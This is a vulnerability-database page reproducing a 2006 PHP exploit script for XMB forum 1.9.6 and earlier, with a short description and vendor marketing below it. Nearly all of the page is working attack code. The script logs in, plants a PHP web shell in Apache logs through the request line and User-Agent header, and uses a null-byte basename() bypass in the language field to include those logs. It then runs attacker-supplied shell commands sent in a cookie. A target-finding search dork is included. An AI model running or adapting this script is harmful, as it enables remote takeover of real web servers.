Lucene search
K

XMB <= 1.9.6 Final basename() Remote Command Execution Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 54 Views

XMB <= 1.9.6 Final basename() Remote Command Execution Exploit. This exploit allows attackers to execute arbitrary remote commands by manipulating the langfilenew argument in XMB

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?
echo &#34;XMB &#60;= 1.9.6 Final basename() &#39;langfilenew&#39; arbitrary local inclusion / remote commands xctn\n&#34;;
echo &#34;by rgod [email protected]\n&#34;;
echo &#34;site: http://retrogod.altervista.org\n&#34;;
echo &#34;dork: \&#34;Powered by XMB\&#34;\n\n&#34;;

/*
works regardless of php.ini settings
*/

if ($argc&#60;6) {
echo &#34;Usage: php &#34;.$argv[0].&#34; host path username password cmd OPTIONS\n&#34;;
echo &#34;host:      target server (ip/hostname)\n&#34;;
echo &#34;path:      path to XMB \n&#34;;
echo &#34;user/pass: you need a valid user account\n&#34;;
echo &#34;cmd:       a shell command\n&#34;;
echo &#34;Options:\n&#34;;
echo &#34;   -p[port]:   Specify   a port other than 80\n&#34;;
echo &#34;   -P[ip:port]:    \&#34;   a proxy\n&#34;;
echo &#34;Examples:\r\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /xmb/ user pass ls -la\n&#34;;
echo &#34;php &#34;.$argv[0].&#34; localhost /xmb/Files/ user pass ls -la\n&#34;;
die;
}

/*
software site: http://www.xmbforum.com/

vulnerable code in  memcp.php at lines 331-333:

...
 if ( !file_exists(ROOT.&#39;/lang/&#39;.basename($langfilenew).&#39;.lang.php&#39;) ) {
            $langfilenew = $SETTINGS[&#39;langfile&#39;];
        }
...

this check, when you update your profile and select a new language, can be
bypassed by supplying a well crafted value for langfilenew argument, ex:

../../../../../../../apache/logs/access.log[null char]/English

basename() returns &#39;English&#39; and English.lang.php is an existing file in lang/
folder, now

../../../../../../../apache/logs/access.log[null char]

string is stored in xmb_members table so, every time you are logged in,
u can include an arbitrary file from
local resources because in header.php we have this line

require ROOT.&#34;lang/$langfile.lang.php&#34;;

and this works regardless of php.ini settings because of the ending null char
stored in database

this tool injects some code in Apache log files and tries to launch commands
*/
error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
	}
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo &#34;\r\n&#34;.$html;
}

$host=$argv[1];
$path=$argv[2];
$user=urlencode($argv[3]);
$pass=urlencode($argv[4]);
$cmd=&#34;&#34;;
$port=80;
$proxy=&#34;&#34;;
for ($i=5; $i&#60;$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp&#60;&#62;&#34;-p&#34;) and ($temp&#60;&#62;&#34;-P&#34;)) {$cmd.=&#34; &#34;.$argv[$i];}
if ($temp==&#34;-p&#34;)
{
  $port=str_replace(&#34;-p&#34;,&#34;&#34;,$argv[$i]);
}
if ($temp==&#34;-P&#34;)
{
  $proxy=str_replace(&#34;-P&#34;,&#34;&#34;,$argv[$i]);
}
}
if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}

$CODE =&#39;&#60;?php if (get_magic_quotes_gpc()){$_COOKIE[cmd]=stripslashes($_COOKIE[cmd]);}echo my_delim;set_time_limit(0);passthru($_COOKIE[cmd]);echo my_delim;die;?&#62;&#39;;
$packet=&#34;GET &#34;.$p.$CODE.&#34; HTTP/1.1\r\n&#34;;
$packet.=&#34;User-Agent: &#34;.$CODE.&#34;\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: close\r\n\r\n&#34;;
sendpacketii($packet);

$data =&#34;username=&#34;.$user;
$data.=&#34;&password=&#34;.$pass;
$data.=&#34;&hide=1&#34;;
$data.=&#34;&secure=yes&#34;;
$data.=&#34;&loginsubmit=Login&#34;;
$packet =&#34;POST &#34;.$p.&#34;misc.php?action=login HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);
$temp=explode(&#34;Set-Cookie: &#34;,$html);
$cookie=&#34;&#34;;
for ($i=1; $i&#60;count($temp); $i++)
{
  $temp2=explode(&#34; &#34;,$temp[$i]);
  $temp3=explode(&#34;\r&#34;,$temp2[0]);
  if (!strstr($temp3[0],&#34;;&#34;)){$temp3[0]=$temp3[0].&#34;;&#34;;}
  $cookie.=&#34; &#34;.$temp3[0];
}
if (($cookie==&#39;&#39;) | (!strstr($cookie,&#34;xmbuser&#34;)) | (!strstr($cookie,&#34;xmbpw&#34;))){echo &#34;Unable to login...&#34;;die;}
else {echo &#34;cookie -&#62;&#34;.$cookie.&#34;\r\n&#34;;}

//fill with possible locations...
$paths= array (
&#34;../../../../../var/log/httpd/access_log&#34;,
&#34;../../../../../var/log/httpd/error_log&#34;,
&#34;../apache/logs/error.log&#34;,
&#34;../apache/logs/access.log&#34;,
&#34;../../apache/logs/error.log&#34;,
&#34;../../apache/logs/access.log&#34;,
&#34;../../../apache/logs/error.log&#34;,
&#34;../../../apache/logs/access.log&#34;,
&#34;../../../../apache/logs/error.log&#34;,
&#34;../../../../apache/logs/access.log&#34;,
&#34;../../../../../apache/logs/error.log&#34;,
&#34;../../../../../apache/logs/access.log&#34;,
&#34;../logs/error.log&#34;,
&#34;../logs/access.log&#34;,
&#34;../../logs/error.log&#34;,
&#34;../../logs/access.log&#34;,
&#34;../../../logs/error.log&#34;,
&#34;../../../logs/access.log&#34;,
&#34;../../../../logs/error.log&#34;,
&#34;../../../../logs/access.log&#34;,
&#34;../../../../../logs/error.log&#34;,
&#34;../../../../../logs/access.log&#34;,
&#34;../../../../../etc/httpd/logs/access_log&#34;,
&#34;../../../../../etc/httpd/logs/access.log&#34;,
&#34;../../../../../etc/httpd/logs/error_log&#34;,
&#34;../../../../../etc/httpd/logs/error.log&#34;,
&#34;../../../../../var/www/logs/access_log&#34;,
&#34;../../../../../var/www/logs/access.log&#34;,
&#34;../../../../../usr/local/apache/logs/access_log&#34;,
&#34;../../../../../usr/local/apache/logs/access.log&#34;,
&#34;../../../../../var/log/apache/access_log&#34;,
&#34;../../../../../var/log/apache/access.log&#34;,
&#34;../../../../../var/log/access_log&#34;,
&#34;../../../../../var/www/logs/error_log&#34;,
&#34;../../../../../var/www/logs/error.log&#34;,
&#34;../../../../../usr/local/apache/logs/error_log&#34;,
&#34;../../../../../usr/local/apache/logs/error.log&#34;,
&#34;../../../../../var/log/apache/error_log&#34;,
&#34;../../../../../var/log/apache/error.log&#34;,
&#34;../../../../../var/log/access_log&#34;,
&#34;../../../../../var/log/error_log&#34;
);

for ($i=0; $i&#60;count($paths); $i++)
{
if (strlen($paths[$i])&#60;40) //langfile is varchar(40)...
{
$xpl=$paths[$i];
echo &#34;trying with: &#34;.$paths[$i].&#34;\r\n&#34;;
$xpl=urlencode($xpl);
$data.=&#34;newpassword=&#34;;
$data.=&#34;&newpasswordcf=&#34;;
$data.=&#34;&newemail=&#34;.urlencode(&#34;[email protected]&#34;);
$data.=&#34;&newsite=&#34;;
$data.=&#34;&newwebcam=&#34;;
$data.=&#34;&newaim=&#34;;
$data.=&#34;&newicq=&#34;;
$data.=&#34;&newyahoo=&#34;;
$data.=&#34;&newmsn=&#34;;
$data.=&#34;&newmemlocation=&#34;;
$data.=&#34;&newmood=&#34;;
$data.=&#34;&newavatar=&#34;;
$data.=&#34;&newbio=&#34;;
$data.=&#34;&newsig=&#34;;
$data.=&#34;&thememem=0&#34;;//default theme
$data.=&#34;&langfilenew=&#34;.$xpl.&#34;%00/English&#34;; // basename() circumvention, langfile column: varchar(40)
$data.=&#34;&month=0&#34;;
$data.=&#34;&day=&#34;;
$data.=&#34;&year=&#34;;
$data.=&#34;&tppnew=30&#34;;
$data.=&#34;&pppnew=25&#34;;
$data.=&#34;&newshowemail=no&#34;;
$data.=&#34;&newinv=1&#34;;
$data.=&#34;&newnewsletter=no&#34;;
$data.=&#34;&useoldu2u=no&#34;;
$data.=&#34;&saveogu2u=no&#34;;
$data.=&#34;&emailonu2u=no&#34;;
$data.=&#34;&timeformatnew=24&#34;;
$data.=&#34;&dateformatnew=dd-mm-yyyy&#34;;
$data.=&#34;&timeoffset1=0&#34;;
$data.=&#34;&editsubmit=Edit%20Profile&#34;;
$packet =&#34;POST &#34;.$p.&#34;memcp.php?action=profile HTTP/1.0\r\n&#34;;
$packet.=&#34;Referer: http://&#34;.$host.$path.&#34;member.php\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34;\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n\r\n&#34;;
$packet.=$data;
sendpacketii($packet);

$packet =&#34;GET &#34;.$p.&#34;index.php HTTP/1.0\r\n&#34;;
$packet.=&#34;Host: &#34;.$host.&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cookie: &#34;.$cookie.&#34; cmd=&#34;.$cmd.&#34;;\r\n\r\n&#34;;
sendpacketii($packet);
if (strstr($html,&#34;my_delim&#34;))
{
echo &#34;exploit succeeded...\n&#34;;
$temp=explode(&#34;my_delim&#34;,$html);
die($temp[1]);
}
}
}
//if you are here...
echo &#34;exploit failed...&#34;;
?&#62;

# milw0rm.com [2006-08-13]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation